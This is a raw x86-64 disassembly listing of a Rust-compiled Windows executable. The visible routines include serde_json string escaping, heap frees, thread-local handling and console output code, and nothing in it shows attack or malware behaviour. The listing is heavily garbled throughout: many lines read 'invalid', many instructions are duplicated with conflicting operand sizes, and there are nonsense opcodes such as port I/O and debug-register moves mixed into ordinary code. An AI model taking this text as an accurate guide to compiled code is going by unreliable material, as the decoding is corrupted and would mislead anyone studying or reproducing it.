call fcn.1400852b0
nop
add rsp, 0x20
invalid
and byte [rdi + 0x5e], bl
pop rbp
ret
invalid
movabs rax, 0xb458c04fa012f36b
adc ah, byte [rax - 0x4ba73fb1]
movabs al, byte [0xc34aba48b458c04f]
invalid
pop rax
mov ah, 0x48
mov edx, 0x5427c34a
in eax, dx
xor ecx, dword [rax + 0x2d]
invalid
movabs rdx, 0x2d4833ed5427c34a
sub eax, 0xccccccc3
int3
ret
mov rax, qword [rcx]
mov rdx, qword [rcx + 0x10]
ret
push r15
push r14
push rsi
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov qword [rsp + 0x48], r8
mov qword [rsp + 0x30], rdx
and al, 0x30
and al, 0x30
mov qword [rsp + 0x40], rcx
mov rsi, qword [rcx]
mov esi, dword [rcx]
lea r15, [0x1400eba94]
lea rdi, [0x1400f0064]
cmp eax, 0x79f44
cmp eax, 0x79f44
invalid
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
mov ebp, dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14007613b
add byte [rax], 0
add byte [rax], al
cmp byte [r14 + 0x10], 0x23
and ecx, dword [rdi]
invalid
wait
add byte [rax], al
invalid
and ecx, dword [rdi]
test dword [rbx + 0x48000000], ebx
wait
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
wait
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rsi + 0x28]
mov r8d, 1
sub byte [rcx - 0x48], r8b
add dword [rax], eax
add byte [rax], al
mov rdx, r15
cli
call qword [rax + 0x18]
test al, al
je 0x1400761ea
sbb byte [rax + rax*8 + 0x93840f], al
add byte [rax], al
call fcn.140075f40
mov r14, rax
mov byte [rbx + 0x634803e0], 4
xchg dword [rax + 1], ecx
clc
mov byte [rbx + 0x634803e0], 4
xchg dword [rax + 1], ecx
clc
jmp rax
mov dr6, rbp
mov r12, qword fs:[r14 - 1]
jne case.0x140076169.2
mov r12, qword [r14 - 1]
mov rbx, qword [r14 + 7]
mov rcx, r12
call qword [rbx]
cmp qword [rbx + 8], 0
cmp dword [rbx + 8], 0
cmp dword [rbx + 8], 0
je case.0x1400765f7.11
cmp qword [rbx + 0x10], 0x11
jb 0x140076192
mov r12, qword [r12 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
xor byte [rax], cl
add byte [rcx], dh
ror byte [rbp - 0x77], cl
loopne 0x14007619e
call rbp
invalid
dec r14
mov rcx, qword [0x1400f91f8]
xor byte [rax], r9b
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
call rbp
jmp 0x14007613b
xor byte [rax], r9b
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
nop word cs:[rax + rax]
mov rax, r14
shr rax, 0x20
call 0x168ffe4ea
call 0x168ffe4ea
and byte [rbx + 0xa7728f8], al
ja case.0x140076169.2
cmp rax, 0x23
je 0x14007613b
mov rax, r14
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rsi, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x48]
push rsp
and al, 0x48
push rsp
and al, 0x48
lea rax, [rsi + rdx]
lea eax, [rsi + rdx]
xor r8d, r8d
lea rcx, str.uuuuuuuubtnufruuuuuuuuuuuuuuuuuu
lea r15, [0x1400f0034]
mov r12, r8
nop dword [rax]
invalid
invalid
invalid
invalid
add byte [rax + 0x39], cl
invalid
cmp rsi, rax
cmp esi, eax
je 0x14007656d
add eax, dword [rax]
add byte [rbp - 0x77], cl
loope 0x140076266
mov r9, r12
inc r12
inc esp
movzx edi, byte [rsi]
inc rsi
movzx r13d, byte [rdi + rcx]
sub al, 0xf
sub al, 0xf
test r13d, r13d
je 0x140076210
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
mov rax, r9
sub rax, r8
mov qword [rsp + 0x60], rax
jbe 0x14007634d
test r8, r8
mov rdx, qword [rsp + 0x48]
je 0x14007626b
cmp rdx, r8
jbe 0x140076265
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
cmp byte [rax + r8], 0xc0
jge 0x14007626b
jmp 0x140076726
jne 0x140076726
test dword [rbx + 0x49000004], edi
cmp r9, rdx
cmp ecx, edx
jae 0x140076281
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
and al, 0x30
cmp byte [rax + r9], 0xbf
jg 0x140076287
or ebp, ecx
movsd dword [rdi], dword [rsi]
add al, 0
add byte [rdi], cl
test dword [rdi + 0x4c000004], ebx
lahf
add al, 0
add byte [rbx + rax + 0x44], cl
and al, 0x30
invalid
jmp 0x140076726
jne 0x140076726
lahf
add al, 0
add byte [rbx + rax + 0x44], cl
and al, 0x30
invalid
add r8, qword [rsp + 0x30]
xor byte [rcx + rcx*4 + 0x44], cl
and al, 0x58
mov qword [rsp + 0x58], r8
mov rax, qword [rsp + 0x40]
and al, 0x40
mov rbx, qword [rax]
jmp 0x1400762a6
mov rcx, qword [rbx + 0x20]
mov rax, qword [rbx + 0x28]
mov rdx, qword [rsp + 0x58]
push rsp
and al, 0x58
push rsp
and al, 0x58
mov r8, qword [rsp + 0x60]
call qword [rax + 0x18]
test al, al
je 0x14007634d
invalid
call fcn.140075f40
mov r14, rax
and eax, 3
movsxd rax, dword [r15 + rax*4]
add al, 0x87
dec dword [rcx - 0x77]
mov byte [rbx + 0x634903e0], 4
add al, 0x87
add rax, r15
add al, 0x87
add rax, r15
jmp rax
jg 0x14007630b
adc dword [rdx + 4], esi
mov rbp, qword [rbp - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
dec r14
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
fisubr dword [rsi]
or byte [rax], al
xor edx, edx
mov r8, r14
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
add eax, dword [rax]
fisub word [rax - 0x2a00fffd]
add eax, dword [rax]
call rbp
lea r15, [0x1400f0034]
jmp 0x1400762a6
invalid
dec dword [rcx + rcx*4 - 0x10]
shr rax, 0x20
cmp eax, 0x23
je 0x1400762a6
jmp case.0x140076169.2
lea eax, [r13 - 0x5c]
cmp eax, 0x19
ja case.default.0x14007636b
lea rcx, [0x1400effac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea rbx, [0x1400e77d7]
jmp rax
lea rbx, [0x1400e77d9]
jmp case.0x14007636b.92
cmp r13d, 0x22
jne case.0x14007636b.93
add byte [rax], al
add byte [rax], al
lea rbx, [0x1400e77d5]
jmp case.0x14007636b.92
lea rbx, [0x1400e77db]
lea ebx, [0x1400e77db]
jmp case.0x14007636b.92
lea rbx, [0x1400e77dd]
jmp case.0x14007636b.92
lea rbx, [0x1400e77df]
jmp case.0x14007636b.92
lea rbx, [0x1400e77e1]
mov rax, qword [rsp + 0x40]
mov rdi, qword [rax]
mov rdi, qword [rax]
jmp 0x1400763cb
cmp byte [r14 + 0x10], 0x23
jne case.0x140076169.2
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
mov r8d, 2
mov rdx, rbx
call qword [rax + 0x18]
test al, al
je 0x140076554
add byte [rax], al
add byte [rax], al
call fcn.140075f40
mov r14, rax
and eax, 3
push rsp
sti
invalid
lea rcx, [0x1400f0024]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [r14 + 0xf], 0x23
jne case.0x140076169.2
mov r13, qword [r14 - 1]
mov rbp, qword [r14 + 7]
outsb dx, byte [rsi]
invalid
mov rcx, r13
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x140076442
outsb dx, byte [rsi]
invalid
cmp qword [rbp + 0x10], 0x11
jb 0x14007642d
mov r13, qword [r13 - 8]
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
call rax
dec r14
mov rcx, qword [0x1400f91f8]
sub eax, 0xd2310008
sub eax, 0xd2310008
mov r8, r14
invalid
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
call rbp
jmp 0x1400763cb
mov rax, r14
shr rax, 0x20
cmp eax, 0x23
je 0x1400763cb
jmp case.0x140076169.2
mov eax, edi
and eax, 0xf
shr edi, 4
lea rdx, [0x1400e77e3]
movzx ecx, byte [rdi + rdx]
movzx eax, byte [rax + rdx]
mov dword [rsp + 0x38], 0x3030755c
mov byte [rsp + 0x3c], cl
and al, 0x3c
and al, 0x3c
mov byte [rsp + 0x3d], al
mov rax, qword [rsp + 0x40]
mov rdi, qword [rax]
mov edi, dword [rax]
mov edi, dword [rax]
jmp 0x1400764c5
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call rbp
invalid
invalid
dec r14
dec esi
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call rbp
lea rbx, [rsp + 0x38]
lea r13, [0x1400f0014]
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
mov r8d, 6
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
call qword [rax + 0x18]
test al, al
je 0x140076554
invalid
call fcn.140075f40
mov r14, rax
mov byte [rbx + 0x634903e0], 0x44
test dword [rax], eax
mov byte [rbx + 0x634903e0], 0x44
test dword [rax], eax
add rax, r13
jmp rax
cmp byte [r14 + 0x10], 0x23
je 0x1400764d1
jmp case.0x140076169.2
mov rax, r14
shr rax, 0x20
cmp eax, 0x23
je 0x1400764d1
jmp case.0x140076169.2
cmp byte [r14 + 0xf], 0x23
jne case.0x140076169.2
mov rbx, qword [r14 - 1]
mov r13, qword [r14 + 7]
mov ebp, dword [rsi + 7]
mov ebp, dword [rsi + 7]
mov rcx, rbx
call qword [r13]
cmp qword [r13 + 8], 0
je 0x1400764b4
invalid
dec dword [rcx - 0x7d]
jge 0x140076554
cmp qword [r13 + 0x10], 0x11
jb 0x1400764a6
adc dword [rdi], ecx
invalid
mov rbx, qword [rbx - 8]
jmp 0x1400764a6
mov r8, r12
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
lea rcx, str.uuuuuuuubtnufruuuuuuuuuuuuuuuuuu
jmp 0x140076209
cmp rdx, r8
je 0x14007665d
test r8, r8
je 0x1400765a1
cmpsd dword [rsi], dword [rdi]
add dword [rax], eax
add byte [rbp - 0x7b], cl
push qword [rbp + 0x11]
jmp 0x14007665d
xlatb
test r15, r15
je 0x14007665d
add qword [rsp + 0x30], r8
and al, 0x30
mov rax, qword [rsp + 0x40]
mov rsi, qword [rax]
lea rdi, [0x1400f0044]
jmp 0x1400765ce
cmp byte [r14 + 0x10], 0x23
jne case.0x140076169.2
test dword [rax], ecx
cld
invalid
invalid
test dword [rax], ecx
cld
invalid
dec dword [rax - 0x75]
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
push rsp
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rdx, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
mov r8, r15
clc
call qword [rax + 0x18]
test al, al
je 0x14007665d
call fcn.140075f40
mov r14, rax
and eax, 3
movsxd rax, dword [rdi + rax*4]
add rax, rdi
jmp rax
cmp byte [r14 + 0xf], 0x23
jne case.0x140076169.2
mov rbx, qword [r14 - 1]
mov r12, qword [r14 + 7]
mov rcx, rbx
call qword [r12]
cmp qword [r12 + 8], 0
invalid
je case.0x1400764fc.16
add byte [rdx + rbx + 0x49], dh
cmp dword [rsp + 0x10], 0x11
cmp qword [r12 + 0x10], 0x11
jb 0x140076627
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call rbp
dec r14
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call rbp
invalid
jmp 0x1400765ce
invalid
mov rax, r14
shr rax, 0x20
cmp eax, 0x23
je 0x1400765ce
invalid
invalid
jmp case.0x140076169.2
mov rax, qword [rsp + 0x40]
mov rsi, qword [rax]
lea rbx, [0x1400eba94]
lea r15, [0x1400f0054]
cdq
invalid
add bl, ch
invalid
cdq
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8d, 1
mov rdx, rbx
call qword [rax + 0x18]
test al, al
je 0x14007671e
call fcn.140075f40
mov r14, rax
and eax, 3
movsxd rax, dword [r15 + rax*4]
add rax, r15
dec dword [rcx - 0x77]
mov byte [rbx + 0x634903e0], 4
xchg dword [rcx + rax - 8], ecx
jmp rax
mov r12, qword [r14 + 7]
mov rcx, rdi
call qword [r12]
cmp qword [r12 + 8], 0
invalid
je 0x1400766ec
add byte [rdx + rbx + 0x49], dh
cmp dword [rsp + 0x10], 0x11
cmp qword [r12 + 0x10], 0x11
jb 0x1400766de
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call rbp
dec r14
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call rbp
jmp case.0x140076400.13
xor r14d, r14d
jmp case.0x140076169.2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_src_ser.rsHw
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x30]
call fcn.1400aa670
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_src_ser.rsHw
mov edx, 0x28
call fcn.1400aa0a0
ud2
mov rdx, r15
test r15, r15
je 0x14007a4f7
mov r12, qword [rdx]
mov r15, qword [rdx + 8]
mov qword [rdx], 0
test r12, r12
je 0x14007a509
mov byte [rdx + 0x10], 1
mov al, 1
xchg byte [r12 + 0x28], al
cmp al, 0xff
push qword [rbp + 0x16]
push qword [rbp + 0x16]
lea rdi, [r12 + 0x28]
mov rax, qword [0x1400f9230]
mov eax, dword [0x1400f9230]
mov eax, dword [0x1400f9230]
test rax, rax
je 0x14007a489
mov rcx, rdi
call rax
lock dec qword [r12]
jne 0x14007a430
mov rcx, r12
call fcn.14007a790
jmp 0x14007a430
mov rcx, qword [0x1400f9030]
cmp rcx, 0xffffffffffffffff
jne 0x14007a4d8
mov qword [rbp - 0x20], 0xffffffffffffffff
mov rax, qword [0x1400f9048]
mov rcx, rsi
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rax
test eax, eax
jne 0x14007a523
mov rcx, qword [rbp - 0x20]
mov rax, 0xffffffffffffffff
lock cmpxchg qword [0x1400f9030], rcx
je 0x14007a4d8
mov rbx, rax
call r14
mov rcx, rbx
mov rax, qword [0x1400f9050]
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call rax
lock dec qword [r12]
jne 0x14007a430
jmp 0x14007a47f
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400eade8]
mov edx, 0x2b
call fcn.1400aa0a0
ud2
mov qword [rbp - 0x18], r12
mov dword [rbp - 0xc], eax
lea rax, [rbp - 0xc]
mov qword [rbp - 0x30], rax
lea rax, [0x140049cd0]
mov qword [rbp - 0x28], rax
lea rax, str.Unable_to_create_keyed_event_handle:_error
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, str.library_std_src_syswindows_thread_parking.rs
lea rcx, [rbp - 0x60]
call fcn.1400a9ee0
ud2
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
invalid
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
invalid
ror dword [rax - 0x39], 0x80
movabs al, byte [0x48ffffffff000000]
mov ecx, dword [rax + 0xb8]
mov qword [rax + 0xa0], 0xffffffffffffffff
mov rcx, qword [rax + 0xb8]
cmp rcx, qword [rax + 0xb0]
jne case.0x14002739f.710
call fcn.14007abf0
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xb8]
mov rax, qword [rax + 0xa0]
movabs al, byte [0x2ebc0ff48000000]
movabs al, byte [0x2ebc0ff48000000]
xor eax, eax
mov edx, dword [0x1400f92c4]
mov r8, qword gs:[0x58]
mov r8, qword [0x58]
mov r8, qword [0x58]
mov rdx, qword [r8 + rdx*8]
mov r8, qword [rdx + 0xa8]
invalid
test al, 0
add byte [rax], al
mov r9, rcx
shl r9, 4
mov qword [r8 + r9], rdi
mov qword [r8 + r9 + 8], rsi
inc rcx
mov qword [rdx + 0xb8], rcx
mov qword [rdx + 0xa0], rax
mov byte [0x1400f9218], 1
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
invalid
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea ebp, [rsp + 0x60]
mov qword [rbp], 0xfffffffffffffffe
mov eax, dword [0x1400f92c4]
invalid
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xd8]
cmp eax, 1
je 0x14007a857
test eax, eax
jne 0x14007a8be
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
xor al, 0xc1
invalid
lea rcx, [rsi + 0xd0]
lea rdx, [0x14007a5e0]
call fcn.14007a620
mov byte [rsi + 0xd8], 1
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
test rax, rax
jne 0x14007a8b4
xor ecx, ecx
call fcn.140079f30
mov edx, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rdx*8]
cmp qword [rcx + 0xd0], 0
jne 0x14007a8c7
mov edx, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xd1
mov qword [rcx + 0xd0], rax
lock inc qword [rax]
jg 0x14007a8c0
ud2
xor eax, eax
add rsp, 0x68
pop rsi
pop rbp
ret
mov qword [rbp - 8], rax
lea rax, str.reentrant_init
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srccellonce.rs
lea rcx, [rbp - 0x38]
call fcn.1400a9ee0
ud2
and al, 0x40
add dword [rax], eax
add byte [rax], al
lea rax, [rsp + 0x20]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x38]
cmp al, ch
leave
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x30
cmp al, ch
leave
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x30
lea rcx, [rsp + 0x30]
call fcn.14007a190
mov ecx, 7
int 0x29
ud2
mov ecx, eax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
jne 0x14007a9e3
lea rax, [0x14007aa10]
sub eax, 0x48000000
mov dword [0x1400f9058], eax
mov qword [0x1400f9058], rax
mov rcx, r14
mov rdx, rdi
mov r8d, ebx
mov r9, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x60]
push 0x60
push 0x60
call fcn.1400aa5b0
ud2
int3
add byte [rax], al
add byte [rax - 0x77], cl
add eax, 0x7e57f
add byte [rcx + rcx*4 - 0xf], cl
add byte [rcx + rcx*4 - 0xf], cl
mov edx, ebx
mov r8, rdi
mov r9d, esi
int1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x60]
call fcn.1400aa5b0
ud2
int3
mov qword [rbp - 8], 0xfffffffffffffffe
mov r8, rdx
mov eax, edx
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x10], 0
lock add byte [rax], al
add byte [rax], al
lock add byte [rax], al
add byte [rax], al
lea rdx, [0x1400e87b0]
lea rcx, [rbp - 0x18]
call 0x13c7e6b68
dec dword [rax - 0x75]
invalid
invalid
test al, al
je 0x14007ab9d
fadd qword [rsi]
add byte [rax - 0x73], cl
call 0x13c7e6b68
call 0x13c7e6b68
dec dword [rax - 0x75]
invalid
test rcx, rcx
lea rax, str.formatter_error
lea eax, [0x1400e90c0]
cmovne rax, rcx
add rsp, 0x40
pop rbp
ret
test rcx, rcx
je 0x14007abab
lea rcx, [rbp - 0x10]
call fcn.14007a090
invalid
xor eax, eax
add rsp, 0x40
pop rbp
ret
invalid
nop dword cs:[rax + rax]
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
cmp qword [rbp - 0x10], 0
je 0x14007abde
lea rcx, [rbp - 0x10]
call fcn.14007a090
nop
add rsp, 0x20
pop rbp
ret
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
mov rax, qword [rax + 0xb0]
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
cmp rcx, 5
mov esi, 4
cmovae rsi, rcx
xor edx, edx
mov rcx, rsi
shr rcx, 0x3b
sete dl
mov r8, rsi
shl r8, 4
shl rdx, 3
test rax, rax
je 0x14007ac7f
mov ecx, dword [0x1400f92c4]
mov r9, qword gs:[0x58]
mov rcx, qword [r9 + rcx*8]
mov rcx, qword [rcx + 0xa8]
shl rax, 4
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 8
mov qword [rsp + 0x30], rax
jmp 0x14007ac88
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x38]
lea r9, [rsp + 0x20]
call fcn.1400a58a0
cmp qword [rsp + 0x38], 0
mov rcx, qword [rsp + 0x40]
je 0x14007acb9
movabs rax, 0x8000000000000001
cmp rcx, rax
jne 0x14007ace0
mov eax, dword [0x1400f92c4]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov qword [rax + 0xa8], rcx
mov qword [rax + 0xb0], rsi
add rsp, 0x50
pop rsi
ret
add byte [rax], al
add byte [rax], al
lea rcx, [0x1400f9158]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
nop
invalid
add rsp, 0x60
pop rbp
ret
add byte [rax], al
lea rcx, [0x1400f9158]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
push rbx
add eax, dword [rax]
nop
add rsp, 0x20
invalid
and byte [rbp - 0x3d], bl
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x60]
cmp qword [0x1400f9178], 0
je 0x14007b07e
mov r8, qword [0x1400f9170]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rbp - 0x38]
movups xmm1, xmmword [rbp - 0x28]
movups xmmword [0x1400f9180], xmm1
movups xmmword [0x1400f9170], xmm0
inc qword [0x1400f9168]
add rsp, 0x20
pop rbp
ret
jmp 0x14007b121
mov r14, qword [rbp - 0x18]
test r14, r14
mov rax, qword [rbp - 8]
clc
clc
je 0x14007b228
add rax, r14
mov r14, qword [rcx + 0x10]
cmp rax, r14
jae 0x14007b1fa
mov byte [rcx + 0x18], 1
sub r14, rax
mov r8, qword [rcx]
mov qword [rbp - 8], rax
add r8, rax
mov qword [rsp + 0x20], r12
mov rcx, rbx
mov edx, 0xfffffff5
mov r9, r14
call fcn.14007b330
cmp qword [rbp - 0x30], 0
je 0x14007b190
mov rax, qword [rbp - 0x28]
mov ecx, eax
and ecx, 3
cmp rcx, 2
jb 0x14007b190
cmp ecx, 2
add dh, byte [rbp + 0x2e]
jne 0x14007b190
shr rax, 0x20
cmp eax, 6
clc
invalid
jne 0x14007b190
clc
invalid
mov rcx, rsi
call fcn.14007a090
sbb eax, 0x48ffffef
mov ecx, dword [rbp - 0x10]
sbb eax, 0x48ffffef
mov ecx, dword [rbp - 0x10]
invalid
mov byte [rcx + 0x18], 0
sbb byte [r8], al
test r14, r14
mov rax, qword [rbp - 8]
clc
clc
jne 0x14007b111
jmp 0x14007b228
add byte [rdi], cl
adc byte [rbp - 0x30], al
movups xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp - 0x20], xmm0
loopne 0x14007b1e1
cmp qword [rbp - 0x20], 0
cmp dword [rbp - 0x20], 0
mov rcx, qword [rbp - 0x10]
mov byte [rcx + 0x18], 0
je case.0x14007cc61.51
mov r15, qword [rbp - 0x18]
jge 0x14007b197
mov eax, r15d
and eax, 3
movsxd rax, dword [r13 + rax*4]
test dword [rax], eax
add rax, r13
jmp rax
jmp 0x14007b22f
stc
call fcn.14007a090
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
stosd dword [rdi], eax
out dx, al
invalid
mov eax, dword [rbp - 8]
mov r14, qword [rcx + 0x10]
cmp rax, r14
jb 0x14007b121
test rax, rax
je 0x14007b223
xor esi, esi
mov rdi, rcx
mov r15d, 0
cmp r14, rax
jae 0x14007b264
mov rcx, rax
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_vecmod.rs
mov rdx, r14
call fcn.1400aa020
add al, byte [rax]
ud2
xor r15d, r15d
jmp 0x14007b268
lea r15, str.failed_to_write_the_buffered_data
mov rax, qword [rbp - 8]
test rax, rax
je 0x14007b268
mov rdi, qword [rbp - 0x10]
mov rdx, qword [rdi + 0x10]
mov rsi, rdx
sub rsi, rax
jb 0x14007b27c
mov qword [rdi + 0x10], 0
je 0x14007b268
mov rcx, qword [rdi]
mov rdx, qword [rbp - 8]
add rdx, rcx
mov r8, rsi
call sub.VCRUNTIME140.dll_memmove
mov qword [rdi + 0x10], rsi
mov rax, r15
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_vecmod.rs
mov rcx, qword [rbp - 8]
call fcn.1400aa020
ud2
invalid
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
add byte [rcx + 0xf], al
mov dh, 0xe
mov edx, ecx
and dl, 0xc0
cmp dl, 0x80
jne 0x14007b4a0
mov byte [rdi + rax], cl
movzx eax, byte [rdi + 4]
inc al
mov byte [rdi + 4], al
add al, 0xf
mov dh, 0xf
add al, 0xf
mov dh, 0xf
lea rdx, [0x1400ea55c]
movzx ebx, byte [rcx + rdx]
mov qword [rbp - 0x50], rbx
cmp al, bl
jae 0x14007b4b0
mov qword [rsi + 8], 1
mov qword [rsi], 0
jmp 0x14007b3a0
ror byte [rcx + rcx*4 - 6], 0x4d
mov eax, esi
mov r9, rbx
mov qword [rbp - 0x48], r15
call fcn.14007b660
movups xmm0, xmmword [rbp - 0x40]
movups xmmword [rsi], xmm0
jmp 0x14007b3a0
mov byte [rdi + 4], 0
lea rax, str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
jmp 0x14007b395
movzx r8d, al
cmp al, 5
jae 0x14007b5ba
lea rcx, [rbp - 0x10]
mov rdx, rdi
call fcn.140043490
mov byte [rdi + 4], 0
cmp qword [rbp - 0x10], 0
je 0x14007b519
lea rax, str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
jmp 0x14007b395
movzx eax, byte [rsi]
lea rcx, [0x1400ea55c]
movzx ecx, byte [rax + rcx]
cmp rcx, 2
jb 0x14007b56b
cmp rcx, rbx
jbe 0x14007b56b
mov byte [rdi], al
mov byte [rdi + 4], 1
jmp 0x14007b559
mov r8, qword [rbp - 8]
mov rax, qword [rbp]
mov qword [rbp + 8], rax
cmp rax, rbx
jne 0x14007b5ea
lea rcx, [rbp - 0x40]
mov rdx, r15
cli
mov r9, rbx
call fcn.14007b770
cmp qword [rbp - 0x40], 0
mov rax, qword [rbp - 0x38]
invalid
jne 0x14007b572
enter 0x2a75, 0x48
mov dword [rbp - 0x58], eax
mov qword [rbp - 0x58], rax
mov qword [rbp + 8], rbx
cmp rax, rbx
jne 0x14007b60c
mov qword [rsi + 8], 1
xor eax, eax
mov qword [rsi], rax
jmp 0x14007b3a0
lea rax, str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
mov qword [rsi + 8], rax
mov eax, 1
add byte [rax], al
add byte [rax - 0x77], cl
invalid
jmp 0x14007b3a0
invalid
invalid
add byte [rax], al
